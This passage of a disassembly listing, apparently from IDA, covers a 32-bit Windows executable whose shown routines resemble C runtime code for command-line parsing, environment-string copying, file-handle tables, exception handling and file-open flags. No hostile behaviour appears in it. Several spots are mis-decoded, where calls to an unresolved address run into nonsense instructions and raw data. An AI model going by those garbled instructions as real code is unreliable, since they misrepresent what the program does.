		mov	[esi], bl
		inc	esi


loc_422FD0:				; CODE XREF: seg000:00422FC9j
		inc	eax


loc_422FD1:				; CODE XREF: seg000:00422FC3j
		cmp	dl, 20h
		jz	short loc_422FDF
		test	dl, dl
		jz	short loc_422FE3
		cmp	dl, 9
		jnz	short loc_422FAB


loc_422FDF:				; CODE XREF: seg000:00422FD4j
		test	dl, dl
		jnz	short loc_422FE6


loc_422FE3:				; CODE XREF: seg000:00422FD8j
		dec	eax
		jmp	short loc_422FEE
; ---------------------------------------------------------------------------


loc_422FE6:				; CODE XREF: seg000:00422FE1j
		test	esi, esi
		jz	short loc_422FEE
		and	byte ptr [esi-1], 0


loc_422FEE:				; CODE XREF: seg000:00422FA6j
					; seg000:00422FA9j ...
		and	dword ptr [ebp+18h], 0


loc_422FF2:				; CODE XREF: seg000:004230D6j
		cmp	byte ptr [eax],	0
		jz	loc_4230DB


loc_422FFB:				; CODE XREF: seg000:00423008j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_423007
		cmp	dl, 9
		jnz	short loc_42300A


loc_423007:				; CODE XREF: seg000:00423000j
		inc	eax
		jmp	short loc_422FFB
; ---------------------------------------------------------------------------


loc_42300A:				; CODE XREF: seg000:00423005j
		cmp	byte ptr [eax],	0
		jz	loc_4230DB
		test	edi, edi
		jz	short loc_42301F
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+0Ch], edi


loc_42301F:				; CODE XREF: seg000:00423015j
		mov	edx, [ebp+14h]
		inc	dword ptr [edx]


loc_423024:				; CODE XREF: seg000:004230C7j
		mov	dword ptr [ebp+8], 1
		xor	ebx, ebx


loc_42302D:				; CODE XREF: seg000:00423034j
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_423036
		inc	eax
		inc	ebx
		jmp	short loc_42302D
; ---------------------------------------------------------------------------


loc_423036:				; CODE XREF: seg000:00423030j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423067
		test	bl, 1
		jnz	short loc_423065
		xor	edi, edi
		cmp	[ebp+18h], edi
		jz	short loc_423054
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423054
		mov	eax, edx
		jmp	short loc_423057
; ---------------------------------------------------------------------------


loc_423054:				; CODE XREF: seg000:00423045j
					; seg000:0042304Ej
		mov	[ebp+8], edi


loc_423057:				; CODE XREF: seg000:00423052j
		mov	edi, [ebp+0Ch]
		xor	edx, edx
		cmp	[ebp+18h], edx
		setz	dl
		mov	[ebp+18h], edx


loc_423065:				; CODE XREF: seg000:0042303Ej
		shr	ebx, 1


loc_423067:				; CODE XREF: seg000:00423039j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_42307C
		inc	ebx


loc_42306F:				; CODE XREF: seg000:0042307Aj
		test	esi, esi
		jz	short loc_423077
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_423077:				; CODE XREF: seg000:00423071j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_42306F


loc_42307C:				; CODE XREF: seg000:0042306Cj
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4230CC
		cmp	dword ptr [ebp+18h], 0
		jnz	short loc_423092
		cmp	dl, 20h
		jz	short loc_4230CC
		cmp	dl, 9
		jz	short loc_4230CC


loc_423092:				; CODE XREF: seg000:00423086j
		cmp	dword ptr [ebp+8], 0
		jz	short loc_4230C6
		test	esi, esi
		jz	short loc_4230B5
		movzx	ebx, dl
		test	ds:byte_4E2A61[ebx], 4
		jz	short loc_4230AE
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_4230AE:				; CODE XREF: seg000:004230A6j
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4230C4
; ---------------------------------------------------------------------------


loc_4230B5:				; CODE XREF: seg000:0042309Aj
		movzx	edx, dl
		test	ds:byte_4E2A61[edx], 4
		jz	short loc_4230C4
		inc	eax
		inc	dword ptr [ecx]


loc_4230C4:				; CODE XREF: seg000:004230B3j
					; seg000:004230BFj
		inc	dword ptr [ecx]


loc_4230C6:				; CODE XREF: seg000:00423096j
		inc	eax
		jmp	loc_423024
; ---------------------------------------------------------------------------


loc_4230CC:				; CODE XREF: seg000:00423080j
					; seg000:0042308Bj ...
		test	esi, esi
		jz	short loc_4230D4
		and	byte ptr [esi],	0
		inc	esi


loc_4230D4:				; CODE XREF: seg000:004230CEj
		inc	dword ptr [ecx]
		jmp	loc_422FF2
; ---------------------------------------------------------------------------


loc_4230DB:				; CODE XREF: seg000:00422FF5j
					; seg000:0042300Dj
		test	edi, edi
		jz	short loc_4230E2
		and	dword ptr [edi], 0


loc_4230E2:				; CODE XREF: seg000:004230DDj
		mov	eax, [ebp+14h]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4230EC	proc near		; CODE XREF: seg000:0041E082p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, ds:dword_4E16D8
		push	ebx
		push	ebp
		mov	ebp, ds:dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42313A
		call	ebp ; dword_42703C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_42311B
		mov	ds:dword_4E16D8, 1
		jmp	short loc_423143
; ---------------------------------------------------------------------------


loc_42311B:				; CODE XREF: sub_4230EC+21j
		call	ds:dword_427040	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_423215
		mov	ds:dword_4E16D8, 2
		jmp	loc_4231C9
; ---------------------------------------------------------------------------


loc_42313A:				; CODE XREF: sub_4230EC+19j
		cmp	eax, 1
		jnz	loc_4231C4


loc_423143:				; CODE XREF: sub_4230EC+2Dj
		cmp	esi, ebx
		jnz	short loc_423153
		call	ebp ; dword_42703C
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_423215


loc_423153:				; CODE XREF: sub_4230EC+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_423168


loc_42315A:				; CODE XREF: sub_4230EC+73j
					; sub_4230EC+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42315A
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42315A


loc_423168:				; CODE XREF: sub_4230EC+6Cj
		sub	eax, esi
		mov	edi, ds:dword_427180
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi ; dword_427180
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_4231B9
		push	ebp
		call	sub_41BBCB
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_4231B9
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi ; dword_427180
		test	eax, eax
		jnz	short loc_4231B5
		push	[esp+18h+var_8]
		call	sub_41B961
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_4231B5:				; CODE XREF: sub_4230EC+B9j
		mov	ebx, [esp+18h+var_8]


loc_4231B9:				; CODE XREF: sub_4230EC+99j
					; sub_4230EC+A8j
		push	esi
		call	ds:dword_427044	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_423217
; ---------------------------------------------------------------------------


loc_4231C4:				; CODE XREF: sub_4230EC+51j
		cmp	eax, 2
		jnz	short loc_423215


loc_4231C9:				; CODE XREF: sub_4230EC+49j
		cmp	edi, ebx
		jnz	short loc_4231D9
		call	ds:dword_427040	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_423215


loc_4231D9:				; CODE XREF: sub_4230EC+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4231E9


loc_4231DF:				; CODE XREF: sub_4230EC+F6j
					; sub_4230EC+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4231DF
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4231DF


loc_4231E9:				; CODE XREF: sub_4230EC+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4231FF
		xor	esi, esi
		jmp	short loc_42320A
; ---------------------------------------------------------------------------


loc_4231FF:				; CODE XREF: sub_4230EC+10Dj
		push	ebp
		push	edi
		push	esi
		call	near ptr sub_41C9B0
		add	esp, 0Ch


loc_42320A:				; CODE XREF: sub_4230EC+111j
		push	edi
		call	near ptr 0B00000h
		aas
		mov	eax, esi
		jmp	short loc_423217
; ---------------------------------------------------------------------------


loc_423215:				; CODE XREF: sub_4230EC+39j
					; sub_4230EC+61j ...
		xor	eax, eax


loc_423217:				; CODE XREF: sub_4230EC+D6j
					; sub_4230EC+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_4230EC	endp

; ---------------------------------------------------------------------------


loc_42321E:				; CODE XREF: seg000:0041E072p
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_42323E
		push	1Bh
		call	sub_41E0F9
		pop	ecx


loc_42323E:				; CODE XREF: seg000:00423234j
		mov	ds:dword_4E1820, esi
		mov	ds:dword_4E1920, 20h
		lea	eax, [esi+100h]


loc_423254:				; CODE XREF: seg000:00423270j
		cmp	esi, eax
		jnb	short loc_423272
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, ds:dword_4E1820
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423254
; ---------------------------------------------------------------------------


loc_423272:				; CODE XREF: seg000:00423256j
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 0B00000h
		and	byte ptr [esi-7Dh], 7Ch
		and	al, 42h
		add	[edi], cl
		test	al, ch
; ---------------------------------------------------------------------------
		dw 0
		dd 24448B00h, 0FC08544h, 0B984h, 8D308B00h, 0B80468h, 3B000008h
		dd 2E1C8DF0h, 0F08B027Ch, 19203539h, 527D004Eh,	4E1824BFh
		dd 1006800h, 0CE80000h,	85FFFF89h, 387459C0h, 19200583h
		dd 8920004Eh, 888D07h, 3B000001h, 801873C1h, 83000460h
		dd 40C6FF08h, 0F8B0A05h, 8108C083h, 100C1h, 83E4EB00h
		dd 353904C7h, 4E1920h, 6EBBB7Ch, 1920358Bh, 0FF33004Eh
		dd 467EF685h, 0F883038Bh, 8A3674FFh, 0C1F6004Dh, 0F62E7401h
		dd 0B7508C1h, 0CCDEE850h, 8520006Dh, 8B1E74C0h,	0C1CF8BC7h
		dd 0E18305F8h, 85048B1Fh, 4E1820h, 8BC8048Dh, 8A08890Bh
		dd 4888004Dh, 83454704h, 0FE3B04C3h, 0DB33BA7Ch, 4E1820A1h
		dd 0D83C8300h, 0D8348DFFh, 0DB854D75h, 810446C6h, 0F66A0575h
		dd 8B0AEB58h, 0D8F748C3h, 0C083C01Bh, 85E850F5h, 4C006DCCh
		dd 0FF83F88Bh, 571774FFh, 6DCC77E8h, 0C085B400h, 0FF250C74h
		dd 89000000h, 2F8833Eh,	4E800675h, 0FEB4004h, 7503F883h
		dd 44E800Ah, 8004EB08h,	4380044Eh, 7C03FB83h, 2035FF9Bh
		dd 0E8004E19h, 6DCC40h,	5D5E5F8Ah, 44C4835Bh, 0CCCCCCC3h
		dd 30324356h, 30304358h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4233D4	proc near		; DATA XREF: seg000:0041E00Do
					; sub_421EC2+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423474
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_423407:				; CODE XREF: sub_4233D4+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42346D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42345B
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42345B
		js	short loc_423466
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D214
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D256
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41D2EA
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42345B:				; CODE XREF: sub_4233D4+40j
					; sub_4233D4+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_423407
; ---------------------------------------------------------------------------


loc_423466:				; CODE XREF: sub_4233D4+54j
		mov	eax, 0
		jmp	short loc_423489
; ---------------------------------------------------------------------------


loc_42346D:				; CODE XREF: sub_4233D4+36j
		mov	eax, 1
		jmp	short loc_423489
; ---------------------------------------------------------------------------


loc_423474:				; CODE XREF: sub_4233D4+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D256
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_423489:				; CODE XREF: sub_4233D4+97j
					; sub_4233D4+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4233D4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D256
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4234AC	proc near		; CODE XREF: sub_41E0F9+9p
					; sub_41E11E+9p
		mov	eax, ds:dword_4E1570
		cmp	eax, 1
		jz	short loc_4234C3
		test	eax, eax
		jnz	short locret_4234E4
		cmp	ds:dword_442554, 1
		jnz	short locret_4234E4


loc_4234C3:				; CODE XREF: sub_4234AC+8j
		push	0FCh
		call	sub_4234E5
		mov	eax, ds:dword_4E16DC
		pop	ecx
		test	eax, eax
		jz	short loc_4234D9
		call	eax ; dword_4E16DC


loc_4234D9:				; CODE XREF: sub_4234AC+29j
		push	0FFh
		call	sub_4234E5
		pop	ecx

locret_4234E4:				; CODE XREF: sub_4234AC+Cj
					; sub_4234AC+15j
		retn
sub_4234AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234E5	proc near		; CODE XREF: sub_41E0F9+12p
					; sub_41E11E+12p ...

var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8
arg_B		= byte ptr  13h

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_442E48


loc_4234F8:				; CODE XREF: sub_4234E5+20j
		cmp	edx, [eax]
		jz	short loc_423507
		add	eax, 8
		inc	ecx
		cmp	eax, offset dword_442ED8
		jl	short loc_4234F8


loc_423507:				; CODE XREF: sub_4234E5+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, ds:dword_442E48[esi]
		jnz	loc_423635
		mov	eax, ds:dword_4E1570
		cmp	eax, 1
		jz	loc_42360F
		test	eax, eax
		jnz	short loc_423538
		cmp	ds:dword_442554, 1
		jz	loc_42360F


loc_423538:				; CODE XREF: sub_4234E5+44j
		cmp	edx, 0FCh
		jz	loc_423635
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 0B00000h
		sbb	al, 85h
		sal	[ebp+arg_B], 8Dh
		test	[esi+edi*8-1], ebx
		jmp	fword ptr [eax+0Ch]
; ---------------------------------------------------------------------------
		dd 5000427Ch, 0FF8FE3E8h, 8D5959FFh, 0FFFE5C85h, 8D5057FFh
		dd 0FFFE5CBDh, 830EE8FFh, 5940FFFFh, 763CF883h,	5C858D29h
		dd 50FFFFFEh, 0FF82FBE8h, 8DF88BFFh, 0FFFE5C85h, 3BE883FFh
		dd 0F803036Ah, 427C0868h, 0F1E85700h, 83FFFF86h, 858D10C4h
		dd 0FFFFFF60h, 427BEC68h, 8DE85000h, 8DFFFF8Fh,	0FFFF6085h
		dd 0E85057FFh, 0FFFF8F90h, 0FF60858Dh, 0E868FFFFh, 5000427Bh
		dd 0FF8F7FE8h, 4CB6FFFFh, 8D00442Eh, 0FFFF6085h, 6DE850FFh
		dd 68FFFF8Fh, 12010h, 0FF60858Dh, 0C068FFFFh, 5000427Bh
		dd 16A4E8h, 2CC48300h
; ---------------------------------------------------------------------------
		pop	edi
		jmp	short loc_423635
; ---------------------------------------------------------------------------


loc_42360F:				; CODE XREF: sub_4234E5+3Cj
					; sub_4234E5+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_442E4C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41B890
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 0B00000h
		rcl	byte ptr [eax-18h], 1
		int	3		; Trap to Debugger
		leave
		insd
		add	[ebx], dl


loc_423635:				; CODE XREF: sub_4234E5+2Ej
					; sub_4234E5+59j ...
		pop	esi
		leave
		retn
sub_4234E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_423638	proc near		; CODE XREF: sub_423896:loc_423A0Ep
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4E1820


loc_423647:				; CODE XREF: sub_423638+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423684
		lea	edx, [eax+100h]


loc_423653:				; CODE XREF: sub_423638+28j
		cmp	eax, edx
		jnb	short loc_423673
		test	byte ptr [eax+4], 1
		jz	short loc_423662
		add	eax, 8
		jmp	short loc_423653
; ---------------------------------------------------------------------------


loc_423662:				; CODE XREF: sub_423638+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4236C7


loc_423673:				; CODE XREF: sub_423638+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4E1920
		jl	short loc_423647
		jmp	short loc_4236C7
; ---------------------------------------------------------------------------


loc_423684:				; CODE XREF: sub_423638+13j
		mov	esi, 100h
		push	esi
		call	sub_41BBCB
		test	eax, eax
		pop	ecx
		jz	short loc_4236C7
		add	ds:dword_4E1920, 20h
		lea	ecx, ds:4E1820h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_4236AA:				; CODE XREF: sub_423638+88j
		cmp	eax, edx
		jnb	short loc_4236C2
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_4236AA
; ---------------------------------------------------------------------------


loc_4236C2:				; CODE XREF: sub_423638+74j
		shl	edi, 5
		mov	ebx, edi


loc_4236C7:				; CODE XREF: sub_423638+39j
					; sub_423638+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_423638	endp

; ---------------------------------------------------------------------------


loc_4236CD:				; CODE XREF: sub_423896+1F4p
		mov	eax, [esp+4]
		push	esi
		cmp	eax, ds:dword_4E1920
		push	edi
		jnb	short loc_42372D
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4E1820h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_42372D
		cmp	ds:dword_442554, 1
		push	ebx
		mov	ebx, [esp+14h]
		jnz	short near ptr loc_423722+1
		sub	eax, 0
		jz	short loc_42371A
		dec	eax
		jz	short loc_423715
		dec	eax
		jnz	short near ptr loc_423722+1
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_42371D
; ---------------------------------------------------------------------------


loc_423715:				; CODE XREF: seg000:0042370Bj
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_42371D
; ---------------------------------------------------------------------------


loc_42371A:				; CODE XREF: seg000:00423708j
		push	ebx
		push	0FFFFFFF6h


loc_42371D:				; CODE XREF: seg000:00423713j
					; seg000:00423718j
		call	near ptr 0B00000h


loc_423722:				; CODE XREF: seg000:00423703j
					; seg000:0042370Ej
		sbb	[ebx+301C8907h], cl
		xor	eax, eax
		pop	ebx
		jmp	short loc_423741
; ---------------------------------------------------------------------------


loc_42372D:				; CODE XREF: seg000:004236D9j
					; seg000:004236F5j
		and	ds:dword_4E14FC, 0
		mov	ds:dword_4E14F8, 9
		or	eax, 0FFFFFFFFh


loc_423741:				; CODE XREF: seg000:0042372Bj
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_423744	proc near		; CODE XREF: sub_41E142+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, ds:dword_4E1920
		push	edi
		jnb	short loc_4237A7
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4E1820h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_4237A7
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_4237A7
		cmp	ds:dword_442554, 1
		jnz	short loc_42379D
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423794
		dec	ecx
		jz	short loc_42378F
		dec	ecx
		jnz	short loc_42379D
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_423797
; ---------------------------------------------------------------------------


loc_42378F:				; CODE XREF: sub_423744+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_423797
; ---------------------------------------------------------------------------


loc_423794:				; CODE XREF: sub_423744+3Ej
		push	eax
		push	0FFFFFFF6h


loc_423797:				; CODE XREF: sub_423744+49j
					; sub_423744+4Ej
		call	near ptr 0B00000h
		das


loc_42379D:				; CODE XREF: sub_423744+38j
					; sub_423744+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4237BB
; ---------------------------------------------------------------------------


loc_4237A7:				; CODE XREF: sub_423744+Cj
					; sub_423744+2Aj ...
		and	ds:dword_4E14FC, 0
		mov	ds:dword_4E14F8, 9
		or	eax, 0FFFFFFFFh


loc_4237BB:				; CODE XREF: sub_423744+61j
		pop	edi
		pop	esi
		retn
sub_423744	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237BE	proc near		; CODE XREF: sub_41E142+32p
					; sub_41E142+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_4E1920
		jnb	short loc_4237E6
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_4E1820[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4237E6
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4237E6:				; CODE XREF: sub_4237BE+Aj
					; sub_4237BE+23j
		and	ds:dword_4E14FC, 0
		mov	ds:dword_4E14F8, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4237BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237FB	proc near		; CODE XREF: sub_41E220+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_4E1920
		jnb	short loc_423844
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, ds:dword_4E1820[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423844
		push	eax
		call	sub_4237BE
		pop	ecx
		push	eax
		call	near ptr 0B00000h
		sbb	[ebp-0F78A40h],	al
		adc	eax, offset dword_42708C
		jmp	short loc_42383B
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_42383B:				; CODE XREF: sub_4237FB+3Cj
		test	eax, eax
		jz	short locret_423851
		mov	ds:dword_4E14FC, eax


loc_423844:				; CODE XREF: sub_4237FB+Aj
					; sub_4237FB+22j
		mov	ds:dword_4E14F8, 9
		or	eax, 0FFFFFFFFh

locret_423851:				; CODE XREF: sub_4237FB+42j
		retn
sub_4237FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_423852	proc near		; CODE XREF: sub_41EEA8+32p
					; sub_41F3EF+6Cp ...

arg_0		= dword	ptr  4

		inc	ds:dword_4E15C8
		push	1000h
		call	sub_41BBCB
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_42387B
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_42388C
; ---------------------------------------------------------------------------


loc_42387B:				; CODE XREF: sub_423852+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_42388C:				; CODE XREF: sub_423852+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_423852	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423896	proc near		; CODE XREF: sub_41F192+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_4238BC
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_4238C7
; ---------------------------------------------------------------------------


loc_4238BC:				; CODE XREF: sub_423896+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_4238C7:				; CODE XREF: sub_423896+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_4238E1
		test	ch, 40h
		jnz	short loc_4238DD
		cmp	ds:dword_4E17E8, eax
		jz	short loc_4238E1


loc_4238DD:				; CODE XREF: sub_423896+3Dj
		or	[ebp+var_1], 80h


loc_4238E1:				; CODE XREF: sub_423896+38j
					; sub_423896+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423919
		dec	eax
		jz	short loc_423910
		dec	eax
		jz	short loc_423907


loc_4238F2:				; CODE XREF: sub_423896+9Fj
					; sub_423896+E8j ...
		mov	ds:dword_4E14F8, 16h
		mov	ds:dword_4E14FC, ebx
		jmp	loc_423B2C
; ---------------------------------------------------------------------------


loc_423907:				; CODE XREF: sub_423896+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423920
; ---------------------------------------------------------------------------


loc_423910:				; CODE XREF: sub_423896+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423920
; ---------------------------------------------------------------------------


loc_423919:				; CODE XREF: sub_423896+54j
		mov	[ebp+var_C], 80000000h


loc_423920:				; CODE XREF: sub_423896+78j
					; sub_423896+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_42394E
		cmp	eax, 20h
		jz	short loc_423945
		cmp	eax, 30h
		jz	short loc_42393C
		cmp	eax, 40h
		jnz	short loc_4238F2
		mov	[ebp+var_10], esi
		jmp	short loc_423951
; ---------------------------------------------------------------------------


loc_42393C:				; CODE XREF: sub_423896+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423951
; ---------------------------------------------------------------------------


loc_423945:				; CODE XREF: sub_423896+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423951
; ---------------------------------------------------------------------------


loc_42394E:				; CODE XREF: sub_423896+90j
		mov	[ebp+var_10], ebx


loc_423951:				; CODE XREF: sub_423896+A4j
					; sub_423896+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_42399B
		jz	short loc_423996
		cmp	ecx, ebx
		jz	short loc_423996
		cmp	ecx, edi
		jz	short loc_42398D
		cmp	ecx, 200h
		jz	short loc_4239B4
		cmp	ecx, 300h
		jnz	loc_4238F2
		mov	[ebp+var_8], 2
		jmp	short loc_4239C4
; ---------------------------------------------------------------------------


loc_42398D:				; CODE XREF: sub_423896+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_4239C4
; ---------------------------------------------------------------------------


